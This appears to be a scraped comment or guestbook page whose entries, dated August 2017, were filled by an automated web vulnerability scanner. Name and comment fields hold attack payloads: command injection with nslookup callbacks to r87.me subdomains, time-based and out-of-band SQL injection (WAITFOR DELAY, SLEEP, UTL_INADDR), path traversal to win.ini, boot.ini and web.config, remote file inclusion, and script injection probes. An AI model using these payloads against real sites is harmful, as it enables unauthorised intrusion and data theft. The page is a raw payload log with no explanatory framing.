Smith

\r\n

\r\n 8/23/2017 8:09:36 AM\r\n

\r\n

\r\n & ping -n 25 127.0.0.1 &\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:36 AM\r\n

\r\n

\r\n ';expr 268409241 - 2;'\r\n

\r\n
\r\n

c:\\windows\\win.ini

\r\n

\r\n 8/23/2017 8:09:35 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

r87.com/n

\r\n

\r\n 8/23/2017 8:09:35 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:35 AM\r\n

\r\n

\r\n '& ping -n 25 127.0.0.1 &\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:35 AM\r\n

\r\n

\r\n 1) WAITFOR DELAY '0:0:25'--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:35 AM\r\n

\r\n

\r\n gethostbyname(trim('o010_rdnxupd9q5ji7xvvbcaicpnypm8chfpjuen'.'ecc.r87.me'));\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:35 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:35 AM\r\n

\r\n

\r\n \"& ping -n 25 127.0.0.1 &\r\n

\r\n
\r\n

php://filter//resource=http://r87.com/n?\u0000.aspx

\r\n

\r\n 8/23/2017 8:09:34 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:34 AM\r\n

\r\n

\r\n gethostbyname(trim('o010_rdnxuq8bbsk37pdde8ccpiocscf2k5j-fid'.'tle.r87.me'))\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:34 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../windows/win.ini\u0000.aspx

\r\n

\r\n 8/23/2017 8:09:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://r87.com/n?.aspx

\r\n

\r\n 8/23/2017 8:09:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:33 AM\r\n

\r\n

\r\n \";expr 268409241 - 2;\"\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:32 AM\r\n

\r\n

\r\n WAITFOR DELAY '0:0:25'--\r\n

\r\n
\r\n

file:/windows/win.ini

\r\n

\r\n 8/23/2017 8:09:32 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:32 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../windows/win.ini

\r\n

\r\n 8/23/2017 8:09:31 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:31 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:31 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:31 AM\r\n

\r\n

\r\n 1 WAITFOR DELAY '0:0:25'--\r\n

\r\n
\r\n

/../../../../../../../../../../web.config

\r\n

\r\n 8/23/2017 8:09:31 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://r87.com/n?\u0000.aspx

\r\n

\r\n 8/23/2017 8:09:30 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:30 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:30 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

c%3a%5cboot.ini

\r\n

\r\n 8/23/2017 8:09:29 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:29 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:29 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

hTTp://r87.com/n

\r\n

\r\n 8/23/2017 8:09:29 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:29 AM\r\n

\r\n

\r\n SET /A 0xFFF9999-2\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:29 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:28 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

file%3a%2fboot.ini

\r\n

\r\n 8/23/2017 8:09:28 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:28 AM\r\n

\r\n

\r\n ' WAITFOR DELAY '0:0:25'--\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:28 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:28 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini

\r\n

\r\n 8/23/2017 8:09:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:26 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:26 AM\r\n

\r\n

\r\n SET /A 0xFFF9999-2 &\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:25 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:25 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:25 AM\r\n

\r\n

\r\n & SET /A 0xFFF9999-2 &\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:25 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

ns../../../../../../../../../../../boot.ini.......................................................................................................................................................................................

\r\n

\r\n 8/23/2017 8:09:24 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:24 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:23 AM\r\n

\r\n

\r\n '& SET /A 0xFFF9999-2 &\r\n

\r\n
\r\n

c:\\boot.ini

\r\n

\r\n 8/23/2017 8:09:23 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:23 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:22 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:22 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:21 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:21 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:21 AM\r\n

\r\n

\r\n \"& SET /A 0xFFF9999-2 &\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:21 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:20 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:20 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

file:/boot.ini

\r\n

\r\n 8/23/2017 8:09:19 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:19 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1/../../../../../../../../../../boot.ini

\r\n

\r\n 8/23/2017 8:09:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:17 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:17 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../boot.ini\u0000.aspx

\r\n

\r\n 8/23/2017 8:09:17 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:17 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:16 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:16 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:16 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:16 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../boot.ini

\r\n

\r\n 8/23/2017 8:09:15 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:15 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:15 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:14 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:13 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:13 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:13 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:13 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:12 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

//r87.com/?0x002AB8

\r\n

\r\n 8/23/2017 8:09:12 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:12 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:11 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:11 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:11 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

//r87.com/?0x002AB7

\r\n

\r\n 8/23/2017 8:09:10 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:10 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:10 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:09 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:08 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:08 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:07 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

[ns](javascript:netsparker(0x002A8F); \"nsmd\")

\r\n

\r\n 8/23/2017 8:09:07 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:07 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:07 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:06 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:06 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'\"@-->

\r\n

\r\n 8/23/2017 8:09:06 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

ping -w 25 127.0.0.1

\r\n

\r\n 8/23/2017 8:09:06 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:05 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

ping -n 25 127.0.0.1

\r\n

\r\n 8/23/2017 8:09:05 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'+netsparker(0x002A8B)+'

\r\n

\r\n 8/23/2017 8:09:05 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

ping -w 25 127.0.0.1 &

\r\n

\r\n 8/23/2017 8:09:05 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

netsparker(0x002A89);

\r\n

\r\n 8/23/2017 8:09:04 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:04 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:03 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

netsparker(0x002A87)

\r\n

\r\n 8/23/2017 8:09:03 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:03 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

&ping -w 25 127.0.0.1 &

\r\n

\r\n 8/23/2017 8:09:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'&ping -w 25 127.0.0.1 &'

\r\n

\r\n 8/23/2017 8:09:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

',netsparker(0x002A85),'

\r\n

\r\n 8/23/2017 8:09:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\\';netsparker(0x002A83);///

\r\n

\r\n 8/23/2017 8:09:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"&ping -w 25 127.0.0.1 &\"

\r\n

\r\n 8/23/2017 8:09:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

ping -n 25 127.0.0.1 &

\r\n

\r\n 8/23/2017 8:08:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"+netsparker(0x002A81)+\"

\r\n

\r\n 8/23/2017 8:08:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'+netsparker(0x002A7F)+'

\r\n

\r\n 8/23/2017 8:08:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

& ping -n 25 127.0.0.1 &

\r\n

\r\n 8/23/2017 8:08:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'& ping -n 25 127.0.0.1 &

\r\n

\r\n 8/23/2017 8:08:57 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:57 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

*/netsparker(0x002A7D);/*

\r\n

\r\n 8/23/2017 8:08:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

body{x:expression(netsparker(0x002A7B))}

\r\n

\r\n 8/23/2017 8:08:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"& ping -n 25 127.0.0.1 &

\r\n

\r\n 8/23/2017 8:08:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

|expr${IFS}268409241${IFS}-${IFS}2

\r\n

\r\n 8/23/2017 8:08:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:08:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

expr 268409241 - 2

\r\n

\r\n 8/23/2017 8:08:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

n;ns:expression(netsparker(0x002A79));

\r\n

\r\n 8/23/2017 8:08:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

expr 268409241 - 2;

\r\n

\r\n 8/23/2017 8:08:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:53 AM\r\n

\r\n

\r\n '+convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))+'\r\n

\r\n
\r\n

1;expr 268409241 - 2;x

\r\n

\r\n 8/23/2017 8:08:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

<%a style=x:expre/**/ssion(netsparker(0x002A77))>

\r\n

\r\n 8/23/2017 8:08:52 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:52 AM\r\n

\r\n

\r\n '||CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))||'\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:52 AM\r\n

\r\n

\r\n '||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(111)||chr(48)||chr(49)||chr(48)||chr(95)||chr(114)||chr(100)||chr(110)||chr(120)||chr(117)||chr(48)||chr(115)||chr(111)||chr(113)||chr(113)||chr(108)||chr(118)||chr(105)||chr(116)||chr(120)||chr(95)||chr(50)||chr(113)||chr(95)||chr(97)||chr(109)||chr(110)||chr(104)||chr(118)||chr(106)||chr(53)||chr(97)||chr(102)||chr(98)||chr(97)||chr(115)||chr(118)||chr(112)||chr(56)||chr(109)||chr(116)||chr(119)||chr(103)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL))||'\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1';expr 268409241 - 2;'

\r\n

\r\n 8/23/2017 8:08:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:51 AM\r\n

\r\n

\r\n (length(CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))))\r\n

\r\n
\r\n

|nslookup${IFS}\"o010_rdnxualozt818le1ziotmfwfoxumkuqkklf\"\"ury.r87.me\"

\r\n

\r\n 8/23/2017 8:08:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:08:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:51 AM\r\n

\r\n

\r\n (length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(111)||chr(48)||chr(49)||chr(48)||chr(95)||chr(114)||chr(100)||chr(110)||chr(120)||chr(117)||chr(50)||chr(121)||chr(108)||chr(109)||chr(113)||chr(105)||chr(98)||chr(116)||chr(98)||chr(106)||chr(102)||chr(114)||chr(116)||chr(115)||chr(103)||chr(120)||chr(116)||chr(97)||chr(99)||chr(116)||chr(119)||chr(102)||chr(103)||chr(108)||chr(121)||chr(121)||chr(111)||chr(101)||chr(109)||chr(98)||chr(109)||chr(107)||chr(99)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL))))\r\n

\r\n
\r\n

|nslookup${IFS}\"o010_rdnxupxt_xsmil_jux4oafb_du8w6vkiqyd\"\"z1o.r87.me\"

\r\n

\r\n 8/23/2017 8:08:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

-1\" or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+\"

\r\n

\r\n 8/23/2017 8:08:50 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:50 AM\r\n

\r\n

\r\n 1 procedure analyse(extractvalue(rand(),concat(0x3a,CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))),1)-- 1\r\n

\r\n
\r\n

\"&nslookup \"o010_rdnxu0mp9tjmo-33ousfksyvnlwquiyduic\"\"f8i.r87.me\"

\r\n

\r\n 8/23/2017 8:08:50 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"&nslookup \"o010_rdnxukwavmnr6uxmaxw6iqm947lohljnseu\"\"90e.r87.me\"

\r\n

\r\n 8/23/2017 8:08:50 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:50 AM\r\n

\r\n

\r\n (select UTL_INADDR.GET_HOST_ADDRESS(chr(111)||chr(48)||chr(49)||chr(48)||chr(95)||chr(114)||chr(100)||chr(110)||chr(120)||chr(117)||chr(98)||chr(103)||chr(98)||chr(118)||chr(122)||chr(122)||chr(49)||chr(111)||chr(99)||chr(97)||chr(97)||chr(107)||chr(102)||chr(95)||chr(100)||chr(120)||chr(99)||chr(102)||chr(102)||chr(107)||chr(122)||chr(102)||chr(116)||chr(99)||chr(122)||chr(119)||chr(100)||chr(110)||chr(117)||chr(118)||chr(97)||chr(97)||chr(121)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL)\r\n

\r\n
\r\n

'&nslookup \"o010_rdnxufxhyjejjfwkr4vrg6mnixwezhu-ms5\"\"fqe.r87.me\"

\r\n

\r\n 8/23/2017 8:08:50 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1\";expr 268409241 - 2;\"

\r\n

\r\n 8/23/2017 8:08:50 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'&nslookup \"o010_rdnxurzlw5uznq-jb2th_efsvc6lksde7ye\"\"btw.r87.me\"

\r\n

\r\n 8/23/2017 8:08:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:49 AM\r\n

\r\n

\r\n '||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxu_qtsdowlkh_flfjjfm6coylz1xh0ty'||'430.r87.me') from DUAL))||'\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:49 AM\r\n

\r\n

\r\n -1\\'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))-- 1\r\n

\r\n
\r\n

&nslookup \"o010_rdnxurwtbxapfqfrrebybzda41jwx1vpgsj\"\"oac.r87.me\"

\r\n

\r\n 8/23/2017 8:08:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

javascript:netsparker(0x002A73)

\r\n

\r\n 8/23/2017 8:08:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

SET /A 0xFFF9999-2

\r\n

\r\n 8/23/2017 8:08:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

&nslookup \"o010_rdnxuyfq2weofqljkjqkwsx_6xtr_2hvea3\"\"_iq.r87.me\"

\r\n

\r\n 8/23/2017 8:08:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:49 AM\r\n

\r\n

\r\n (length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxuqdcigkl6azza8s4r2gp2-25mjbx4ka'||'n2w.r87.me') from DUAL))))\r\n

\r\n
\r\n

-1 or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))

\r\n

\r\n 8/23/2017 8:08:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

SET /A 0xFFF9999-2 &

\r\n

\r\n 8/23/2017 8:08:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

nslookup \"o010_rdnxuyjn5wzhc0m_dce4_w_6jdto3tyaun5\"\"g2w.r87.me\"

\r\n

\r\n 8/23/2017 8:08:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

nslookup \"o010_rdnxujonf6gnfiqeyujfhlrkspnro4qzd26\"\"lsu.r87.me\"

\r\n

\r\n 8/23/2017 8:08:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

& SET /A 0xFFF9999-2 &

\r\n

\r\n 8/23/2017 8:08:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"& nslookup o010_rdnxu7pd_0-hequtt_xcjaxjsd9rr4lcnpgsco.r87.me&'\\\"`0&nslookup o010_rdnxu7pd_0-hequtt_xcjaxjsd9rr4lcnpgsco.r87.me&`'

\r\n

\r\n 8/23/2017 8:08:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

-1' or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+'

\r\n

\r\n 8/23/2017 8:08:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:08:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'& SET /A 0xFFF9999-2 &

\r\n

\r\n 8/23/2017 8:08:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"& nslookup o010_rdnxuykr4pi_nppsk3qceqf1ultfwkq_g-mj8w.r87.me&'\\\"`0&nslookup o010_rdnxuykr4pi_nppsk3qceqf1ultfwkq_g-mj8w.r87.me&`'

\r\n

\r\n 8/23/2017 8:08:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'& nslookup o010_rdnxudpik2_j01qyk9kkmsd3s-rev0jfj0n-88.r87.me&'\\\"`0&nslookup o010_rdnxudpik2_j01qyk9kkmsd3s-rev0jfj0n-88.r87.me&`'

\r\n

\r\n 8/23/2017 8:08:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"& SET /A 0xFFF9999-2 &

\r\n

\r\n 8/23/2017 8:08:47 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'& nslookup o010_rdnxugvka1lanjs1hzj6u2m0e7oxikzgtsvaio.r87.me&'\\\"`0&nslookup o010_rdnxugvka1lanjs1hzj6u2m0e7oxikzgtsvaio.r87.me&`'

\r\n

\r\n 8/23/2017 8:08:47 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\">

\r\n

\r\n 8/23/2017 8:08:47 AM\r\n

\r\n

